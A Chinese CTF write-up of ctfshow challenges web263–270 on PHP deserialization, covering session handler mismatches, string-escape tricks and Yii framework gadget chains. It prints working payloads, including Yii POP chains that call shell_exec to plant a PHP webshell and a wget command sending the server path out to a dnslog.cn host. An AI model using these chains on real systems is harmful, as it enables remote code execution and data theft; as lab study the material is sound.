ctfshow 反序列化2

web263  

PHP的session反序列化 

带你走进PHP session反序列化漏洞 - 先知社区  原理解释不错
CTFshow-web入门-反序列化_哔哩哔哩_bilibili

 可参考CTFshow 反序列化 web263_Kradress的博客-CSDN博客

 

在index.php中

if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{

$_SESSION['limit']的键值写错了,那就可以通过COOKIE来控制$_SESSION['limit']的值,从而进行当前页面的反序列化

在check.php中,引用了inc.php

require_once 'inc/inc.php';

在inc.php中出现关键函数

可以写入文件 构造payload

ini_set('session.serialize_handler', 'php');
session_start();

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

开始构造payload:
从关键的user类开始下手

username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }

}
$user = new User('1.php','');
$_SESSION['user']= $user;

默认是php控制器 ,有| 

user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"";s:6:"status";N;}

用php_serialize控制器 

a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"";s:6:"status";N;}}

index.php页面session.serialize_handler为php_serialize,存储在里面的值是经过序列化了的,check.php和inc/inc.php的session.serialize_handler为php,而且用了session_start(),可以读取session文件进行反序列化操作

正常来说在index.php页面存储的session不能正常在check.php和inc/inc.php进行反序列化,但是如果在属性的值中加入| 的话 ,在check.php和inc/inc.php页面反序列化的时候|前面的会被看做键名,会对|后面的进行反序列化

在本地构造一下,可以通过base64编码后在index.php页面传入cookie中的limit,让序列化的结果以php_serialize的方式存储进去

username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }

}
$user = new User('1.php','');
$_SESSION['user']= $user;

echo urlencode(base64_encode('|'.serialize($user)));

 index.php 存入cookie如下 然后访问check.php 成功写入shell

 然后访问log-1.php,发现成功

ctfshow 反序列化2_第1张图片

 直接rce

ctfshow 反序列化2_第2张图片

 

web264  

error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

可以看出来了是字符逃逸,需要把$token的值变成admin,与262大同小异,直接搓个payload

ctfshow 反序列化2_第3张图片

结果显示loveU对应4个字符,所以成功逃逸一个字符

 要想反序列化成功,必学字符数量与真实字符数相等,平白无故插入27个字符就需要27个fuck来构造出27个loveU

ctfshow 反序列化2_第4张图片

payload 

http://e5693f75-bba7-427f-9ea3-be3d19577062.challenge.ctf.show/?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";} 

 然后访问message.php根据要求提交一个cookie

ctfshow 反序列化2_第5张图片

 

web265

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

需要满足$this->token===$this->password 

token是随机数的md5值,password我们可控,

要想使其相等,可以让$this->password 指向 $this->token 的地址,这样就满足相等

ctfshow 反序列化2_第6张图片

ctfshow 反序列化2_第7张图片

 

web266

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

当我们的序列化字符串中有ctfshow就会抛出异常,这样就没办法调用__destrcut了

ctfshow 反序列化2_第8张图片

 

web267

yii反序列化漏洞
弱密码 admin admin登录成功后,在about页面发现提示?view-source
访问url/?r=site/about&view-source得到反序列化点

ctfshow 反序列化2_第9张图片

 payload: ?r=backdoor/shell&code=poc

poc:

checkAccess = 'phpinfo';  //控制函数
            $this->id = '1'; //控制括号里的内容
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

控制函数和内容可以写shell

没办法输出内容,可以尝试dns带外找到index.php所在目录

$this->checkAccess = 'shell_exec';  
$this->id = 'wget `pwd|base64`.9id0uy.dnslog.cn'; 

然后将命令写入php文件里

$this->checkAccess = 'shell_exec';  
$this->id = "echo '' > /var/www/html/basic/web/1.php"; 

访问1.php进行rce

web268~270

yii反序列化第二个链子

checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', "echo '' > /var/www/html/basic/web/1.php");
    echo(base64_encode(serialize($exp)));
}

你可能感兴趣的:(刷题,wp,php,PHP,ctf,安全,web)